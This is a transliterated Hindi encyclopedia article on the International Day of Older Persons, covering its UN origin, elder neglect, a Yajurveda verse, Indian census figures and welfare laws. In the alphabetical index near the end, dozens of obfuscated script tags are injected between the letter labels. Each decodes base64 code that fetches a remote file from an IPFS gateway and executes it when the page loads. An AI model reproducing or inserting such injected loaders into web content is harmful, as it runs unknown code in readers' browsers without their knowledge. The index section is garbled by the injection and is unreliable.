अंतरराष्ट्रीय वृद्ध दिवस

	aantararashtriy vriddh divas
	aantararashtriy vriddh divas\|200px\|center
vivaran	'aantararashtriy vriddh divas' samast vishv mean manaya jane vala mahattvapoorn divas hai. yah din pratyek parivar ke vriddhajanoan ko samarpit hai.
tithi	'1 aktoobar'
pratham bar	pahali bar 'aantararashtriy bujurg divas' 1 aktoobar, 1991 ko manaya gaya tha.
uddeshy	apane varishth nagarikoan ka samman karana, unake sambandh mean chiantan karana tatha unaki moolabhoot suvidhaoan ka dhyan rakhana adi.
vishesh	bharat mean 2007 mean 'mata-pita evan varishh‍th nagarik bharan-poshan vidheyak' sansad mean parit kiya gaya. isamean mata-pita ke bharan-poshan, vriddhashramoan ki sh‍thapana, chikith‍sa suvidha ki vh‍yavash‍tha aur varishh‍th nagarikoan ke jivan aur san‍patti ki suraksha ka pravadhan kiya gaya hai.
any janakari	vriddhoan ke kalyan ke lie is prakar ke karyakramoan ko vishesh mahatv diya jana chahie, jo unamean jivan ke prati utsah utpann kare. isake lie unaki ruchi ke anusar vishesh prakar ki yojanaean bhi lagoo ki ja sakati haian.

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aantararashtriy vriddh divas (aangrezi: International Day Of Older Persons) athava 'aantararashtriy bujurg divas' athava 'aantararashtriy varishh‍th nagarik divas' athava 'vishv praudh divas' athava 'aantararashtriy vriddhajan divas' pratyek varsh '1 aktoobar' ko manaya jata hai. is avasar par apane varishh‍th nagarikoan ka samman karane evan unake sambandh mean chiantan karana avashyak hota hai. aj ka vriddh samaj atyadhik kuantha grast hai aur samanyat: is bat se sarbadhik du:khi hai ki jivan ka vishad anubhav hone ke bavajood koee unaki ray n to lena chahata hai aur n hi unaki ray ko mahatv hi deta hai. is prakar apane ko samaj mean ek tarah se nishprayojy samajhe jane ke karan hamara vriddh samaj sarbadhik du:khi rahata hai. vriddh samaj ko is duahkh aur santras se chhutakara dilana aj ki sabase b di jarurat hai. is disha mean thos prayas kiye jane ki bahut avashyakata hai.

shuruat

sanyukt rashtr ne vishv mean bujurgoan ke prati ho rahe durvyavahar aur anyay ko samapt karane ke lie aur logoan mean jagarukata phailane ke lie 14 disambar, 1990 ko yah nirnay liya ki har sal '1 aktoobar' ko 'aantararashtriy bujurg divas' ke roop mean manakar ham bujurgoan ko unaka sahi sthan dilane ki koshish kareange. 1 aktoobar, 1991 ko pahali bar 'aantararashtriy bujurg divas' manaya gaya, jisake bad se ise har sal isi din manaya jata hai.^[1]

goshthiyaan tatha sammelan

vriddhoan ki samasya par 'sanyukt rashtr mahasabha' mean sarvapratham arjeantina ne vishv ka dhyan akarshit kiya tha. tab se lekar ab tak vriddhoan ke sanbandh mean anek goshthiyaan aur antarrashtriy sammelan ho chuke haian. varsh 1999 ko aantarrashtriy bujurg-varsh ke roop mean bhi manaya gaya. isase poorv 1982 mean 'vishv svasthy sangathan' ne "vriddhavastha ko sukhi banaie" jaisa nara diya aur "sabake lie svasthy" ka abhiyan prarambh kiya gaya. sanyukt rashtr sangh ne 1 aktoobar ko ‘aantarrashtriy vriddh-divas’ ke roop mean ghoshit kiya hua hai aur is roop mean vishvabhar mean isaka ayojan bhi kiya jata hai. in sab batoan se vriddh vyaktiyoan ke prati logoan mean samman aur sanvedana ke bhav jage aur unake svasthy tatha arthik samasyaoan ke samadhan par vishesh dhyan diya gaya. vriddhavastha ki bimariyoan ke lie anek aushadhiyoan ka avishkar kiya gaya aur anek sthanoan par aspataloan mean unake lie vishesh vyavastha ki gayi. lagabhag sabhi pashchimi deshoan mean arthik samasya se joojhate vriddhoan ke lie paryapt peanshan ki vyavastha ki gayi hai, jisase unaka kharch aram se chal jata hai. vahaan ke bujurgoan ke samane ab samanyat: arthik sankat nahian hai. unake samane svasthy ke atirikt mukhy samasya akelepan ki hai. vayask hone par bachche alag rahane lagate haian aur keval saptahant ya any vishesh avasaroan par hi ve unase milane ate haian. kabhi-kabhi unase mile mahine ya varsh bhi gujar jate haian. bimari ke samay unhean santvana deene vala samanyat: unaka koee bhi apana unake pas nahian hota.^[2]

vriddhajanoan ki avahelana

ek pe d jitana jyada b da hota hai, vah utana hi adhik jhuka hua hota hai; yani vah utana hi vinamr aur doosaroan ko phal dene vala hota hai| yahi bat samaj ke us varg ke sath bhi lagoo hoti hai, jise aj ki tathakathit yuva tatha uchch shiksha prapt pidhi boodha kahakar vriddhashram mean chho d deti hai. vah log bhool jate haian ki anubhav ka koee doosara vikalp duniya mean hai hi nahian. anubhav ke sahare hi duniya bhar mean bujurg logoan ne apani alag duniya bana rakhi hai. jis ghar ko banane mean ek iansan apani poori jiandagi laga deta hai, vriddh hone ke bad use usi ghar mean ek tuchchh vastu samajh liya jata hai. b de boodhoan ke sath yah vyavahar dekhakar lagata hai jaise hamare sanskar hi mar ge haian. bujurgoan ke sath hone vale anyay ke pichhe ek mukhy vajah samajik pratishtha mani jati hai. sab janate haian ki aj har iansan samaj mean khud ko b da dikhana chahata hai aur dikhave ki a d mean bujurg log use apani suandarata par ek kala dag dikhate haian. b de gharoan aur amir logoan ki parti mean hath mean chh di lie aur kisi ke sahare chalane vale budhoan ko adhik nahian dekha jata, kyoanki vah in boodhe logoan ko apani alishan parti mean shamil karana tathakathit shan ke khilaf samajhate haian. yahi rudhivadi soch uchch varg se madhyam varg ki taraph chali ati hai. aj ke samaj mean madhyam varg mean bhi vriddhoan ke prati sneh ki bhavana kam ho gee hai.

jivan ka vyapak anubhav

vriddh hone ke bad iansan ko kee rogoan ka samana karana p data hai. chalane phirane mean bhi dikkat hoti hai. lekin yah is samaj ka ek sach hai ki jo aj javan hai, use kal boodha bhi hona hoga aur is sach se koee nahian bach sakata. lekin is sach ko janane ke bad bhi jab ham boodhe logoan par atyachar karate haian to hamean apane manushy kahalane par sharm mahasoos hoti hai. hamean samajhana chahie ki varishh‍th nagarik samaj ki amoolh‍y virasat hote haian. unhoanne desh aur samaj ko bahut kuchh diya hota hai. unh‍hean jivan ke vibhinh‍n kshetroan ka vh‍yapak anubhav hota hai. aj ka yuva varg rashh‍tr ko uanchaiyoan par le jane ke lie varishh‍th nagarikoan ke anubhav se labh utha sakata hai. apane jivan ki is avash‍tha mean unh‍hean dekhabhal aur yah ahasas karae jane ki zaroorat hoti hai ki ve hamare lie bahut khas mahattv rakhate haian.^[1]

yajurved ka ullekh

hamare shastroan mean bhi bujurgoan ka samman karane ki rah dikhalayi gee hai. yajurved ka nimn mantr santan ko apane mata-pita ki seva aur unaka samman karane ki shiksha deta hai-

yadapi posh mataran putr: prabhudito dhayanh.
itadage anrino bhavamyahatau pitarau mamaan॥

arthath "jin mata-pita ne apane athak prayatnoan se pal posakar mujhe b da kiya hai, ab mere b de hone par jab ve ashakt ho gaye haian to ve 'janak-janani' kisi prakar se bhi pi dit n hoan, is hetu maian usi ki seva satkar se unhean santusht kar apa anrishy (rrin ke bhar se mukti) kar raha hooan."

sankhya

badhati janasankhya ke prati vishvavyapi chianta ke karan is samay vishv bhar mean shishu-janmadar mean kuchh kami ho rahi hai, lekin doosari or svasthy aur chikitsa sanbandhi badhati suvidhaoan ke karan ausat ayu mean nirantar vriddhi ho rahi hai. yah ausat ayu alag-alag deshoan mean alag-alag hai. bharat mean san 1947 mean yah ausat ayu keval 27 varsh thi, jo 1961 mean 42 varsh, 1981 mean 54 varsh aur ab lagabhag paiansath varsh tak pahuanch gayi hai. sath se adhik ayu ke logoan ki sankhya mean vriddhi hamare yahaan vishesh roop mean 1961 se prarambh huee, jo chikitsa suvidhaoan ke prasar ke sath-sath nirantar badhati chali gayi. hamare yahaan 1991 mean 60 varsh se adhik ayu ke 5 karo d 60 lakh vyakti the, jo 2007 mean badhakar 8 karo d 40 lakh ho gaye. desh mean sabase adhik bujurg keral mean haian. vahaan kul janasankhya mean 11 pratishat bujurg haian, jabaki sampoorn desh mean yah ausat lagabhag 8 pratishat hai.

vriddhajan sampoorn samaj ke lie atit ke pratik, anubhavoan ke bhandar tatha sabhi ki shraddha ke patr haian. samaj mean yadi upayukt samman mile aur unake anubhavoan ka labh uthaya jae to ve hamari pragati mean vishesh bhagidari bhi kar sakate haian. isalie bujurgoan ki badhati sankhya hamare lie chiantaniy nahian hai. chianta keval is bat ki honi chahie ki ve svasth, sukhi aur sadaiv sakriy rahean.^[2]

yojanaean tatha protsahan

bharat mean vriddhoan ki seva aur unaki raksha ke lie kee qanoon aur niyam banae ge haian. keandr sarakar ne bharat mean varishh‍th nagarikoan ke arogh‍yata aur kalh‍yan ko badhava dene ke lie varsh 1999 mean vriddh sadash‍yoan ke lie rashh‍triy niti taiyar ki hai. is niti ka uddeshh‍y vh‍yaktiyoan ko sh‍vayan ke lie tatha unake pati ya path‍ni ke budhape ke lie vh‍yavash‍tha karane ke lie proth‍sahit karana hai. isamean parivaroan ko apane parivar ke vriddh sadash‍yoan ki dekhabhal karane ke lie proth‍sahit karane ka bhi prayas kiya jata hai.

isake sath hi 2007 mean 'mata-pita evan varishh‍th nagarik bharan-poshan vidheyak' sansad mean parit kiya gaya hai. isamean mata-pita ke bharan-poshan, vriddhashramoan ki sh‍thapana, chikith‍sa suvidha ki vh‍yavash‍tha aur varishh‍th nagarikoan ke jivan aur san‍patti ki suraksha ka pravadhan kiya gaya hai. lekin in sab ke bavajood hamean akhabaroan aur samacharoan ki surkhiyoan mean vriddhoan ki hatya aur lootamar ki ghatanaean dekhane ko mil hi jati haian. vriddhashramoan mean badhati sankhya is bat ka saph saboot hai ki vriddhoan ko upekshit kiya ja raha hai. hamean samajhana hoga ki agar samaj ke is anubhavi stanbh ko yooan hi najaraandazakiya jata raha to ham us anubhav se bhi door ho jaeange, jo in logoan ke pas hai.^[1]

samasyaean tatha samadhan

'vriddh vyaktiyoan ke sammukh upasthit samasyaoan ka samadhan kya ho?' hamean sarvapratham to unhean arthik drishti se svavalambi banane par dhyan dena hoga. is sandarbh mean mukhy samasya un logoan ki haian, jo n to kisi utpadak kary mean lage haian aur n unhean koee peanshan milati hai. inamean kuchh log itane shaktihin aur nirbal ho chuke haian ki ve koee kam kar hi nahian sakate. aise besahara vriddh vyaktiyoan ke lie sarakar ki or se avashyak roop se aur sahaj roop me mil sakane vali paryapt peanshan ki vyavastha ki jani chahie. aise vriddh vyakti jo sharirik aur manasik drishti se svasth haian, unake lie samaj ko kam parishram vale halke-phulke rojagar ki vyavastha karani chahie.

vriddhoan ke kalyan ke lie is prakar ke karyakramoan ko vishesh mahatv diya jana chahie, jo unamean jivan ke prati utsah utpann kare. isake lie unaki ruchi ke anusar vishesh prakar ki yojanaean bhi lagoo ki ja sakati haian. svayan vriddhajan ko bhi apane tatha parivar aur samaj ke hit ke lie kuchh batoan ko dhyan mean rakhana chahie. udaharanarth- yuva parijanoan ke mamaloan mean anavashyak hastakshep n karean aur unhean apane dhang se jivan jine dean. unhean apane khanapan ka vishesh dhyan rakhana chahie. sadaiv halka, sada aur svasthyavarddhak bhojan lena chahie. apane ko sadaiv tanav se door rakhean aur yathasanbhav nityaprati halka aur niyamit vyayam karean. prat: aur sandhya ko nity ghoomana unake lie vishesh upayogi hai. apane ko yathasanbhav vyast rakhean aur nirasha ko kabhi bhi apane pas n phatakane dean. sadaiv shaant, santusht aur sanyamit jivan bitayean. samaj ke lie kuchh upayogi kary karane ka sadaiv prayatn karean.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 aantararashtriy bujurg divas : samaj ke anubhavi stanbh (hindi) jagaran jankshan. abhigaman tithi: 01 aktoobar, 2014.
↑ ^2.0 ^2.1 ^2.2 vishv vriddh divas, shraddha ke patr haian, unhean palakoan mean jagah dean (hindi) utsav ke rang. abhigaman tithi: 01 aktoobar, 2014.

bahari k diyaan

vriddh bhranti : aantarrashtriy varisht nagarik divas par vishesh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 ^1.2 aantararashtriy bujurg divas : samaj ke anubhavi stanbh (hindi) jagaran jankshan. abhigaman tithi: 01 aktoobar, 2014.

[bb-2] 2.0 ^2.1 ^2.2 vishv vriddh divas, shraddha ke patr haian, unhean palakoan mean jagah dean (hindi) utsav ke rang. abhigaman tithi: 01 aktoobar, 2014.

[1]

[2]